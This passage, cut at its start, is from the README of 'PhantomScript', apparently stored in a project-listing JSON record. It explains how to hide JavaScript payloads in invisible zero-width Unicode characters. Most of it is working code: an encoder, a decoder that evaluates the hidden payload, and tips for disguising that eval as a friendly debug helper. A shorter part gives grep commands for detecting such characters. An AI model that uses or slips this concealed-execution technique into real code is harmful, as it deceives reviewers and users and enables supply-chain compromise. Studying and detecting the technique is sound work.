myVarꘌꘌꘌ`‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿` ){\n // Random code would be here:\n}\n```\n\n# How to catch this in our code?\nVim by default provides pretty good support for detecting unprintable/zero-width characters- though not perfectly. There are also a few plugins for various IDEs to highlight confusable characters.\n\nFor those who do not use Vim, you can use Grep \u0026 Cat:\n\n1.  **Catch invisible characters:**\n```bash\ncat  --show-nonprinting tests.js | grep 'M-'\n```\n\n2. **Catch confusable Unicode characters:** Highlight all characters that fall outside the ASCII range.\n\n```bash\ngrep -r --color=always --include=\"*.js\" --exclude-dir=\".git\" --exclude-dir=\"node_modules\" --exclude-dir=\"public\" -P -n '[^\\t[:print:]]'\n```\n\n# This seems problamatic. What can we fix?\nThis is a tough question that deserves deeper exploration than what is provided here. Beyond IDE plugins, amending the Unicode standard to remove the ID_Continue property from quite a few more characters may a valid strategy. From my understanding, the Unicode Consortium will consider changing character properties, though not characters and codepoints.\n\n\n\n\n\u003cbr\u003e\n\n\n# Add in the \"decoderEval\" script:\n*Remember, this would normally be obfuscated- yet friendly looking*\n\n```javascript\n  /**\n  * Decoder\n  */\n\n  var decode = function(val){\n    return Array\n      .from(val)\n      .map(x=\u003ex.charCodeAt() )\n      .filter(x=\u003e(x === 8206 || x === 65279 ))\n      .map(x=\u003ex-8206 \u0026 1)\n      .join('')\n      .match(/.{8}/g)\n      .map(function(c){\n         return String.fromCharCode(parseInt(c,2))\n      })\n      .join('');\n  };\n\n\n  /**\n  * DecodedEval - Actually eval the decoded payload.\n  */\n  var decodedEval = function(code){\n    [][\"filter\"][\"constructor\"]( decode(code) )();\n  };\n\n```\n\n# The Encoder\n*This parts for you to encode whatever you want. Note that all non-ascii characters are converted to unicode code point escaping. This keeps the payload more dense- after all, out of the 10FFFF (allocated) unicode code points, it would take 21 invisible characters to encode one visible character.*\n```javascript\n\n  /**\n  * Encoder\n  */\n  var encode = function(payload){\n    var convert2Ascii = function(text){\n      return Array\n      .from(text)\n      .map(function(char){\n        if ( /[^\\x00-\\x7F]/g.test(char) ){\n          return char\n          .split('')\n          .map(x=\u003e`\\\\u{${ (x.charCodeAt()).toString(16) }}`)\n          .join('');\n        }\n        else\n          return char;\n      })\n      .join('');\n    };\n\n    return convert2Ascii(payload)\n      .split('')\n      // Adds 9th bit, then slices it off for zero padding.\n      .map(x=\u003e(0x100 | x.charCodeAt()).toString(2).slice(1))\n      .join('')\n      .split('')\n      // .map(x=\u003eString.fromCharCode(x*0xFEFF))     // Encodes with \\u{0} \u0026\u0026 \\u{FEFF}\n      .map(x=\u003eString.fromCharCode(x*0xDEF1+8206))   // \\u{200E} \u0026\u0026 \\u{FEFF}\n      .join('');\n  };\n```\n\n\n# Decoder Obfuscation tips\n*PhantomScript is only a lightweight framework for social engineering. Of course you can expect that the most successful code will be obfuscated- yet friendly.*\n```javascript\n\n// You could split up the core functionality a bit more.\nvar debugFormatter = function(array){\n  return Array\n    .from(val)\n    .map(x=\u003ex.charCodeAt() )\n    .filter(x=\u003e(x === 8206 || x === 65279 ))\n    .map(x=\u003ex-8206 \u0026 1)\n    .join('')\n    .match(/.{8}/g)\n    .map(function(c){\n       return String.fromCharCode(parseInt(c,2))\n    })\n    .join('');\n};\n\n// Eval/Function can be assigned to a friendly variable. Strings can do no wrong, right?  ಠ_ಠ\nvar debug =  ( str =\u003e String.apply.constructor(str)() );\n\n\n\n// Using the above, decodedEval to be renamed and defined as such, with some comments.\n\n\n    /*\n     * Still working on this.\n     * Eg: debugVal(obj) nicely formats obj for better squashing of bugz.\n     */\n    var debugVal = function(val){\n      var formattedStr = debugFormatter( Array.from(val) );\n      var res = debug( formattedStr );\n      // TODO: Add NPM's Chalk package for color.\n      console.log( res );\n      return res;\n    };\n```\n\n\n\n\n# How is this possible?\nIt's actually quite easy to save data with invisible, zero-width characters in Unicode. Currently, only U+200E and U+FFEF are used for broad compatibility, but certainly there are many many characters to choose from out of the 1.1 million (allocated) unicode code points from the 17 Astrals planes. It might be worth mentioning only ~120,000 characters are actually currently defined in Unicode 8.0, but there are lots of combinations possible with the diacritics etc.\n\nThe harder and more critical work is the social engineering aspect. ECMAScript 6 has made a big push for internationalizing characters, and as such now permits unicode in variable names using [Unicode Code Point Escape Sequences](https://github.com/jagracey/Awesome-Unicode#creatively-naming-variables-and-methods).\n\nAny Unicode character that has been designated with the property of [ID_START](https://codepoints.net/search?IDS=1) can be used at the beginning of a variable name.  Any character with the designated property of [ID_CONTINUE](https://codepoints.net/search?IDC=1) can be used after the first character - sort of like numbers in JavaScript variable names.\n\nHere are some valid variable names to further pique your interest.\n - `ꓸ`   `\\u{A4F8}`\n - `ꓹ`   `\\u{A4F9}`\n - `ꓼ`   `\\u{A4FC}`\n - `ꓽ`   `\\u{A4FD}`\n -\n\u003cbr\u003e\n\n### :thumbsup: See [Awesome-Unicode](https://github.com/jagracey/Awesome-Unicode) for a whole lot more about Unicode, especially its quirks and capabilities. :ok_hand:\n\u003cbr\u003e\n\n# Limitations\nMany font packages do not support the characters you wish to use, representing characters as boxes or question marks.  Try and stick to the lower numbered characters.\n\n\u003cbr\u003e\n\n\n\u003cbr\u003e\u003cbr\u003e\n\n# Contributing\n\nContributions are absolutely welcome- and encouraged.\nPlease do make sure that the Unicode characters used in your code actually show up in Github, the NodeJS REPL, and most major text editors.\n\n#### A few possible ideas to explore\n\n- U+1680 OGHAM SPACE MARK  ( looks like a dash, but acts as a space )\n- setTimeout('alert()', 0);\n- bind/call/apply\n- myArray.push(\"World\");\n- while (true){ }\n- switch statements\n\n\n\n# License\n\nThe MIT License (MIT)\n\nCopyright (c) 2016 John Gracey\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjagracey%2FPhantomScript","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjagracey%2FPhantomScript","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjagracey%2FPhantomScript/lists"}